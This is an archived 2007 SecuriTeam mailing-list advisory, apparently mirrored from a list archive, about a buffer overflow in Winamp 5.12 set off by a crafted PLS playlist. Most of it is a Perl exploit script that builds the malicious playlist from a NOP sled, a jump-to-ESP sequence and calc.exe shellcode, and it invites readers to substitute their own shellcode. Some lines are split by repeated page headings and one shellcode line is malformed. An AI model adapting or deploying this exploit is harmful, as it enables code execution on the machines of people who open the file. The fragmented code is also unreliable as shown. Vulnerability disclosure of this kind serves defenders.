

# [EXPL] Winamp Buffer Overflow Exploit (Crafted PLS)

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-03/msg00028.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxx)>
  - *Date:* 12 Mar 2007 10:43:55 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

## Winamp Buffer Overflow Exploit (Crafted PLS)

---

### SUMMARY

<<http://www.winamp.com/>> Winamp is "a proprietary media player written by Nullsoft, a subsidiary of Time Warner. It is skinnable, multi-format freeware / shareware".

Winamp 5.12 is vulnerable to buffer overflow when it tries to open maliciously crafted PLS playlist file.

### DETAILS

#### Vulnerable Systems:

\* Winamp versions 5.12 and prior

#### Exploit:

```
#!/usr/bin/perl -w
# =====
# Winamp 5.12 Playlist UNC Path Computer Name Overflow Perl Exploit
# By Umesh Wanve (umesh_345@xxxxxxxxxx)
# =====
# Credits : ATmaCA is credited with the discovery of this vulnerability.
```

[EXPL] Winamp Buffer Overflow Exploit (Crafted PLS)

```
#
# Date : 07-03-2007
#
# Tested on Windows 2000 SP4 Server English
# Windows 2000 SP4 Professional English
#
# You can replace shellcode with your favourite one :)
#
#
# Buffer = "\x90 x 1023" + EIP
#
# Desc: you cant put shellcode after EIP. No more space after this. The
winamp simply crashes. When you debug it, you will see that
# shellcode is 304 bytes away from ESP. So jump to esp + 304 should work.
Find such address if u can.
#
#
# This was written for educational purpose. Use it at your own risk.Author
will be not be responsible for any damage.
#
#
#=====

#jump to shellcode
$jmp="\x61\xD9\x02\x02".
"\x83\xEC\x34".
"\x83\xEC\x70".
"\xFF\xE4";

#\x83\xEC\x34 add esp ,34
#\xFF\xE4 jump esp

$nop="\x90" x 856;

$start= "[playlist]\r\nFile1=\\\\";
$end="\r\nTitle1=Winamp Exploit by
Umesh\r\nLength1=512\r\nNumberOfEntries=1\r\nVersion=2\r\n";

#open calc.exe
$shellcode =

"\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02".
"\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48".
"\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4".
"\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12".
"\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69".
```

## [EXPL] Winamp Buffer Overflow Exploit (Crafted PLS)

```
"\x06\xe\x3f\x8d\x66\x56\xe\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6".
```

```
"\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5".
```

```
"\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21".
```

```
"\x61\xdd\x0e\x4d";
```

```
open (MYFILE, '>>poc.pls');
```

```
print MYFILE $start;
```

```
print MYFILE $nop; #856
```

```
print MYFILE $shellcode; #165
```

```
print MYFILE "\xCC\xCC"; #2 bytes
```

```
print MYFILE $jmp; # EIP
```

```
print MYFILE "\x90\x90\x90\x90";
```

```
print MYFILE $end;
```

```
close (MYFILE);
```

```
#####
```

### ADDITIONAL INFORMATION

The information has been provided by milw0rm.

The original article can be found at:

<<http://www.milw0rm.com/exploits/3422>>

<http://www.milw0rm.com/exploits/3422>

```
=====
```

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

```
=====
```

## [EXPL] Winamp Buffer Overflow Exploit (Crafted PLS)

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.